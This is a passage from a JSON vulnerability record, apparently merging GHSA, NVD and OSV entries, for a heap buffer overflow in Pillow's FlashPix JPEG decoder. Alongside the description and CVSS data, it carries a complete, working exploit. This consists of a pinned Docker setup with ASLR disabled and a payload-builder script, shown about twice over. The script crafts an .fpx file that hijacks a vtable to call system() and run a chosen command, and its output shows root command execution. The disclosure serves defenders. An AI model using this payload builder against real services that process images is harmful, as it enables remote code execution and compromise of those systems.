image.** Put `vulnerable.py` (PoC) and `make_payload.py`\n([Annex B](#annex-b-payload-builder-source)) in a directory with this `Dockerfile`:\n\n```dockerfile\nFROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        ca-certificates \\\n        python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN python3.12 -m venv /opt/v \\\n    \u0026\u0026 /opt/v/bin/pip install --no-cache-dir \"Pillow==12.2.0\" \"olefile==0.47\"\nENV PATH=/opt/v/bin:$PATH\nWORKDIR /poc\n# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.\nENTRYPOINT [\"setarch\", \"-R\"]\nCMD [\"bash\"]\n```\n\n```console\n$ docker build -t fjpeg1-poc .\n...\nDownloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)\nSuccessfully installed Pillow-12.2.0 olefile-0.47\nSuccessfully built 370344c832b6\nSuccessfully tagged fjpeg1-poc:latest\n```\n\n**2. Start the (ASLR-disabled) container shell** with the scripts mounted:\n\n```sh\ndocker run --rm -it --security-opt seccomp=unconfined -v \"$PWD:/poc\" -w /poc fjpeg1-poc\n```\n\n### Annex B: payload builder source\n\n`make_payload.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).\nBuilds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -\u003e JCS_UNKNOWN\npath, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.\n  --crash      flood an adjacent ob_type with 0x42.. -\u003e SIGSEGV in PyBuffer_Release\n  (default)    CONTROL: fake vtable at the fixed (no-ASLR) addresses -\u003e call *--target\nDefaults target the pinned Docker image with ASLR disabled (setarch -R). See --help.\"\"\"\nimport sys, io, struct, math, argparse\nfrom PIL import Image\n\nW, H = 65000, 2\nSECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748\nFREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF\nFPX_CLSID = bytes.fromhex(\"0067615654C1CE11855300AA00A1F95B\")\no32 = lambda v: struct.pack(\"\u003cI\", v)\np64 = lambda v: struct.pack(\"\u003cQ\", v)\nINV = bytes(255 - i for i in range(256))   # 8-bit inversion table\n\ndef jpeg(src):\n    b = io.BytesIO()\n    Image.frombytes(\"CMYK\", (W, H), bytes(src)).save(b, \"JPEG\", quality=100, subsampling=0)\n    return b.getvalue()\n\ndef decode_row(jpg):\n    # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits\n    # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R\n    # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The\n    # last decoded row is the one that lands in (and overflows past) the buffer.\n    px = Image.open(io.BytesIO(jpg)).tobytes()\n    return px[(H - 1) * W * 4:].translate(INV)\n\ndef craft(targets, iters=40):  # decode-feedback exact write (JPEG is lossy -\u003e iterate to converge)\n    # base fill 0xBD -\u003e decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern\n    # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).\n    src = bytearray(b\"\\xbd\" * (W * H * 4)); base = (H - 1) * W * 4; it = 0\n    for off, t in targets:\n        for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v\n    for it in range(iters):\n        dec = decode_row(jpeg(src)); bad = 0\n        for off, t in targets:\n            for i, v in enumerate(t):\n                if dec[off + i] != v:\n                    bad += 1\n                    src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))\n        if not bad: break\n    return jpeg(src), it, bad\n\ndef maxid_for(w, h):\n    s, i = max(w, h), 1\n    while s \u003e 64: s //= 2; i += 1\n    return i - 1\nMAXID = maxid_for(W, H); RESNAME = \"Resolution %04d\" % MAXID\n\ndef image_contents():\n    ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b\n    cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE)        # FPX color -\u003e rawmode \"LA\"\n    props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID \u003c\u003c 16), blob(cb))]\n    voff = 8 + 8 * len(props); idx = vals = b\"\"\n    for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)\n    body = o32(len(props)) + idx + vals\n    return (struct.pack(\"\u003cHHI\", 0xFFFE, 0, 0x00020005) + b\"\\x00\" * 16 + o32(1) + b\"\\x00\" * 16\n            + o32(48) + o32(len(body) + 4) + body)\n\ndef subimage_header():\n    b = bytearray(80)\n    for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),\n                 (56, 36), (60, 16), (64, 0), (72, 2)]:\n        struct.pack_into(\"\u003cI\", b, o, v)\n    return bytes(b)\n\ndef build_fpx(jpg, out):\n    data = b\"\\x00\" * 28 + jpg\n    assert len(data) \u003c= DATA_PAD, (len(data), DATA_PAD)\n    pad = lambda x: x + b\"\\x00\" * ((-len(x)) % SECT)\n    sd = {\"ic\": pad(image_contents().ljust(4096, b\"\\x00\")),\n          \"hdr\": pad(subimage_header().ljust(4096, b\"\\x00\")),\n          \"dat\": pad(data.ljust(DATA_PAD, b\"\\x00\"))}\n    ns = lambda x: len(x) // SECT; order = [\"ic\", \"dat\", \"hdr\"]\n    dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)\n    fsec = 1\n    while fsec * 128 \u003c fsec + content: fsec += 1\n    pos = {}; cur = fsec; dstart = cur; cur += dsec\n    for k in order: pos[k] = cur; cur += ns(sd[k])\n    total = cur\n    fat = [FREESECT] * (fsec * 128)\n    for s in range(fsec): fat[s] = FATSECT\n    def chain(a, n):\n        for j in range(n): fat[a + j] = a + j + 1 if j \u003c n - 1 else ENDOFCHAIN\n    chain(dstart, dsec)\n    for k in order: chain(pos[k], ns(sd[k]))\n    def de(nm, t, ch, l, r, st, sz, cl=b\"\\x00\" * 16):\n        n = (nm.encode(\"utf-16-le\") + b\"\\x00\\x00\").ljust(64, b\"\\x00\")[:64]\n        return (n + struct.pack(\"\u003cHBB\", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)\n                + o32(ch) + cl + o32(0) + b\"\\x00\" * 16 + o32(st) + struct.pack(\"\u003cQ\", sz))\n    directory = pad(b\"\".join([\n        de(\"Root Entry\", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),\n        de(\"Data Object Store 000001\", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),\n        de(\"\\x05Image Contents\", 2, NOSTREAM, NOSTREAM, 3, pos[\"ic\"], len(sd[\"ic\"])),\n        de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),\n        de(\"Subimage 0000 Data\", 2, NOSTREAM, NOSTREAM, 5, pos[\"dat\"], len(sd[\"dat\"])),\n        de(\"Subimage 0000 Header\", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos[\"hdr\"], len(sd[\"hdr\"]))]))\n    h = bytearray(512); h[0:8] = bytes.fromhex(\"D0CF11E0A1B11AE1\")\n    for o, fmt, *v in [(24, \"\u003cHH\", 0x3E, 3), (28, \"\u003cH\", 0xFFFE), (30, \"\u003cHH\", 9, 6), (44, \"\u003cI\", fsec),\n                       (48, \"\u003cI\", dstart), (56, \"\u003cI\", 4096), (60, \"\u003cI\", ENDOFCHAIN), (68, \"\u003cI\", ENDOFCHAIN)]:\n        struct.pack_into(fmt, h, o, *v)\n    for i in range(109): struct.pack_into(\"\u003cI\", h, 76 + i * 4, i if i \u003c fsec else FREESECT)\n    secs = [b\"\"] * total\n    for s in range(fsec): secs[s] = b\"\".join(o32(x) for x in fat[s * 128:(s + 1) * 128])\n    for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]\n    for k in order:\n        for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]\n    open(out, \"wb\").write(bytes(h) + b\"\".join(secs))\n\ndef xhex(s): return int(s, 16)\n\nSYSTEM_PLT = 0x4206c0   # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"F-JPEG-1 .fpx payload builder (0-ASLR box)\")\n    ap.add_argument(\"--out\", required=True, help=\"output .fpx path\")\n    ap.add_argument(\"--crash\", action=\"store_true\",\n                    help=\"crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)\")\n    ap.add_argument(\"--heap-base\", type=xhex, default=0xbaa000,\n                    help=\"fixed heap base of the 0-ASLR box (default 0xbaa000)\")\n    ap.add_argument(\"--offset\", type=xhex, default=0x21e800,\n                    help=\"state-\u003ebuffer - heap_base (default 0x21e800 -\u003e S=0xdc8800)\")\n    ap.add_argument(\"--target\", type=xhex, default=SENTINEL,\n                    help=\"value called via the hijacked vtable; pass %#x (system@plt) for \"\n                         \"command execution (default is a sentinel for an RIP-control demo)\" % SYSTEM_PLT)\n    ap.add_argument(\"--cmd\", default=\"id\",\n                    help=\"command system() runs, written inline at obj+0 / rdi (\u003c=7 bytes, e.g. id, id;w)\")\n    a = ap.parse_args()\n\n    if a.crash:\n        # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD\n        # to make the decoded overflow bytes 0x42 -\u003e the adjacent ob_type becomes 0x4242424242424242.\n        build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)\n        print(\"[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 \"\n              \"-\u003e SIGSEGV in PyBuffer_Release (no addresses)\" % a.out)\n        return\n\n    if len(a.cmd.encode()) \u003e 7:\n        sys.exit(\"--cmd must be \u003c=7 bytes (it is written inline at obj+0, before ob_type)\")\n    S = a.heap_base + a.offset\n    A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000     # spray A = fake type, spray B = TARGET\n    tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),\n          (OB_TYPE_OFF - 8, a.cmd.encode() + b\"\\x00\")]      # obj+0 -\u003e rdi for system()\n    tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)]   # fake type -\u003e spray B at +0xa0..+8\n    tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]\n    jpg, it, bad = craft(tg)\n    build_fpx(jpg, a.out)\n    print(\"[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d\"\n          % (a.out, S, a.target, a.cmd, it, bad))\n    print(\"[control] opening it: vtable hijack -\u003e call *%#x with rdi -\u003e %r\" % (a.target, a.cmd))\n\nif __name__ == \"__main__\":\n    main()\n```","status":"published","published":"2026-10-23T21:55:21Z","modified":"2026-10-23T21:55:22Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-122","CWE-787"],"updated_at":"2026-11-02T14:41:35.723785Z"}],"nvd":[{"id":"CVE-2026-112398","description":"Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T22:17:07.107Z","modified":"2026-10-27T21:01:25.823Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-122","CWE-787"],"updated_at":"2026-11-02T14:13:00.83844Z"}],"osv":[{"id":"CVE-2026-112398","title":"Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution","description":"Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T21:07:25.229Z","modified":"2026-11-11T13:05:01.973153717Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-122","CWE-787"],"updated_at":"2026-11-11T03:22:04.464623Z"},{"id":"DEBIAN-CVE-2026-112398","description":"Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T22:17:07.107Z","modified":"2026-10-28T10:00:10.415321436Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:50.391389Z"},{"id":"GHSA-5x8w-8jj5-q52h","title":"Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution","description":"### Credits\n\n**Researcher**: Alex Bouffard (mixbo@pebwalker.com)\n\n### Summary\n\nA heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).\n\n### Details\n\n`FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.\n\n`Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.\n\nFor a JPEG-compressed subimage (`compression == 2`), the plugin builds a `\"jpeg\"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)):\n\n```python\nMODES = {\n    ...\n    (0x00018000, 0x00017FFE): (\"RGBA\", \"LA\"),                # rawmode \"LA\"  (2 bytes/pixel)\n    ...\n    (0x00020000, 0x00020001, 0x00020002): (\"RGB\", \"YCC;P\"),  # rawmode \"YCC;P\"\n}\n```\n\nThe Imaging output buffer for the tile is sized for the rawmode (here `\"LA\"` = 2 bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)):\n\n```c\nstate-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;   // \"LA\" gives 2 * xsize bytes/row\n...\nstate-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nIn `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `\"LA\"` and `\"YCC;P\"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)):\n\n```c\n/* Disable decoder conversions. */\ncontext-\u003ecinfo.jpeg_color_space = JCS_UNKNOWN;\ncontext-\u003ecinfo.out_color_space  = JCS_UNKNOWN;\n```\n\nUnder `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)):\n\n```c\nok = jpeg_read_scanlines(\u0026context-\u003ecinfo, \u0026state-\u003ebuffer, 1);   // writes 4*W into a 2*W buffer\n```\n\nThis is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object's `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -\u003e tp_as_buffer -\u003e bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution.\n\n### PoC\n\nTo facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup).\n\nThe source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source).\n\n`vulnerable.py` is the program under test, a one-liner that opens the file it is given:\n\n```python\n#!/usr/bin/env python3\n# The entire vulnerable operation an application performs on an untrusted file.\nimport sys\nfrom PIL import Image\n\nImage.open(sys.argv[1]).load()\n```\n\nThe payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command:\n\n```console\n$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx\n[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0\n[control] opening it: vtable hijack -\u003e call *0x4206c0 with rdi -\u003e 'id'\n```\n\nThen open it with `vulnerable.py`:\n\n```console\n$ python3 vulnerable.py shell.fpx\nuid=0(root) gid=0(root) groups=0(root)\ncorrupted size vs. prev_size\n```\n\n`Image.open()` of the crafted file runs the baked command via `system(\"id\")`: command execution as the user running the image processing (root in the container).\n\nThe trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has\nalready run.\n\nThe builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, `id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it.\n\n### Impact\n\nThis is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal `Image.open()` / `load`, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.\n\n### Annex A: Docker setup\n\nThe PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (`setarch -R`) to reduce the system knowledge requirements. The single `--security-opt seccomp=unconfined` flag on `docker run` is required only because turning ASLR off uses the `personality()` syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own.\n\n**1. Build the image.** Put `vulnerable.py` (PoC) and `make_payload.py`\n([Annex B](#annex-b-payload-builder-source)) in a directory with this `Dockerfile`:\n\n```dockerfile\nFROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        ca-certificates \\\n        python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN python3.12 -m venv /opt/v \\\n    \u0026\u0026 /opt/v/bin/pip install --no-cache-dir \"Pillow==12.2.0\" \"olefile==0.47\"\nENV PATH=/opt/v/bin:$PATH\nWORKDIR /poc\n# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.\nENTRYPOINT [\"setarch\", \"-R\"]\nCMD [\"bash\"]\n```\n\n```console\n$ docker build -t fjpeg1-poc .\n...\nDownloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)\nSuccessfully installed Pillow-12.2.0 olefile-0.47\nSuccessfully built 370344c832b6\nSuccessfully tagged fjpeg1-poc:latest\n```\n\n**2. Start the (ASLR-disabled) container shell** with the scripts mounted:\n\n```sh\ndocker run --rm -it --security-opt seccomp=unconfined -v \"$PWD:/poc\" -w /poc fjpeg1-poc\n```\n\n### Annex B: payload builder source\n\n`make_payload.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).\nBuilds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -\u003e JCS_UNKNOWN\npath, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.\n  --crash      flood an adjacent ob_type with 0x42.. -\u003e SIGSEGV in PyBuffer_Release\n  (default)    CONTROL: fake vtable at the fixed (no-ASLR) addresses -\u003e call *--target\nDefaults target the pinned Docker image with ASLR disabled (setarch -R). See --help.\"\"\"\nimport sys, io, struct, math, argparse\nfrom PIL import Image\n\nW, H = 65000, 2\nSECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748\nFREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF\nFPX_CLSID = bytes.fromhex(\"0067615654C1CE11855300AA00A1F95B\")\no32 = lambda v: struct.pack(\"\u003cI\", v)\np64 = lambda v: struct.pack(\"\u003cQ\", v)\nINV = bytes(255 - i for i in range(256))   # 8-bit inversion table\n\ndef jpeg(src):\n    b = io.BytesIO()\n    Image.frombytes(\"CMYK\", (W, H), bytes(src)).save(b, \"JPEG\", quality=100, subsampling=0)\n    return b.getvalue()\n\ndef decode_row(jpg):\n    # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits\n    # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R\n    # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The\n    # last decoded row is the one that lands in (and overflows past) the buffer.\n    px = Image.open(io.BytesIO(jpg)).tobytes()\n    return px[(H - 1) * W * 4:].translate(INV)\n\ndef craft(targets, iters=40):  # decode-feedback exact write (JPEG is lossy -\u003e iterate to converge)\n    # base fill 0xBD -\u003e decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern\n    # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).\n    src = bytearray(b\"\\xbd\" * (W * H * 4)); base = (H - 1) * W * 4; it = 0\n    for off, t in targets:\n        for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v\n    for it in range(iters):\n        dec = decode_row(jpeg(src)); bad = 0\n        for off, t in targets:\n            for i, v in enumerate(t):\n                if dec[off + i] != v:\n                    bad += 1\n                    src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))\n        if not bad: break\n    return jpeg(src), it, bad\n\ndef maxid_for(w, h):\n    s, i = max(w, h), 1\n    while s \u003e 64: s //= 2; i += 1\n    return i - 1\nMAXID = maxid_for(W, H); RESNAME = \"Resolution %04d\" % MAXID\n\ndef image_contents():\n    ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b\n    cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE)        # FPX color -\u003e rawmode \"LA\"\n    props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID \u003c\u003c 16), blob(cb))]\n    voff = 8 + 8 * len(props); idx = vals = b\"\"\n    for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)\n    body = o32(len(props)) + idx + vals\n    return (struct.pack(\"\u003cHHI\", 0xFFFE, 0, 0x00020005) + b\"\\x00\" * 16 + o32(1) + b\"\\x00\" * 16\n            + o32(48) + o32(len(body) + 4) + body)\n\ndef subimage_header():\n    b = bytearray(80)\n    for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),\n                 (56, 36), (60, 16), (64, 0), (72, 2)]:\n        struct.pack_into(\"\u003cI\", b, o, v)\n    return bytes(b)\n\ndef build_fpx(jpg, out):\n    data = b\"\\x00\" * 28 + jpg\n    assert len(data) \u003c= DATA_PAD, (len(data), DATA_PAD)\n    pad = lambda x: x + b\"\\x00\" * ((-len(x)) % SECT)\n    sd = {\"ic\": pad(image_contents().ljust(4096, b\"\\x00\")),\n          \"hdr\": pad(subimage_header().ljust(4096, b\"\\x00\")),\n          \"dat\": pad(data.ljust(DATA_PAD, b\"\\x00\"))}\n    ns = lambda x: len(x) // SECT; order = [\"ic\", \"dat\", \"hdr\"]\n    dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)\n    fsec = 1\n    while fsec * 128 \u003c fsec + content: fsec += 1\n    pos = {}; cur = fsec; dstart = cur; cur += dsec\n    for k in order: pos[k] = cur; cur += ns(sd[k])\n    total = cur\n    fat = [FREESECT] * (fsec * 128)\n    for s in range(fsec): fat[s] = FATSECT\n    def chain(a, n):\n        for j in range(n): fat[a + j] = a + j + 1 if j \u003c n - 1 else ENDOFCHAIN\n    chain(dstart, dsec)\n    for k in order: chain(pos[k], ns(sd[k]))\n    def de(nm, t, ch, l, r, st, sz, cl=b\"\\x00\" * 16):\n        n = (nm.encode(\"utf-16-le\") + b\"\\x00\\x00\").ljust(64, b\"\\x00\")[:64]\n        return (n + struct.pack(\"\u003cHBB\", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)\n                + o32(ch) + cl + o32(0) + b\"\\x00\" * 16 + o32(st) + struct.pack(\"\u003cQ\", sz))\n    directory = pad(b\"\".join([\n        de(\"Root Entry\", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),\n        de(\"Data Object Store 000001\", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),\n        de(\"\\x05Image Contents\", 2, NOSTREAM, NOSTREAM, 3, pos[\"ic\"], len(sd[\"ic\"])),\n        de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),\n        de(\"Subimage 0000 Data\", 2, NOSTREAM, NOSTREAM, 5, pos[\"dat\"], len(sd[\"dat\"])),\n        de(\"Subimage 0000 Header\", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos[\"hdr\"], len(sd[\"hdr\"]))]))\n    h = bytearray(512); h[0:8] = bytes.fromhex(\"D0CF11E0A1B11AE1\")\n    for o, fmt, *v in [(24, \"\u003cHH\", 0x3E, 3), (28, \"\u003cH\", 0xFFFE), (30, \"\u003cHH\", 9, 6), (44, \"\u003cI\", fsec),\n                       (48, \"\u003cI\", dstart), (56, \"\u003cI\", 4096), (60, \"\u003cI\", ENDOFCHAIN), (68, \"\u003cI\", ENDOFCHAIN)]:\n        struct.pack_into(fmt, h, o, *v)\n    for i in range(109): struct.pack_into(\"\u003cI\", h, 76 + i * 4, i if i \u003c fsec else FREESECT)\n    secs = [b\"\"] * total\n    for s in range(fsec): secs[s] = b\"\".join(o32(x) for x in fat[s * 128:(s + 1) * 128])\n    for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]\n    for k in order:\n        for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]\n    open(out, \"wb\").write(bytes(h) + b\"\".join(secs))\n\ndef xhex(s): return int(s, 16)\n\nSYSTEM_PLT = 0x4206c0   # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)\n\ndef main():\n    ap = 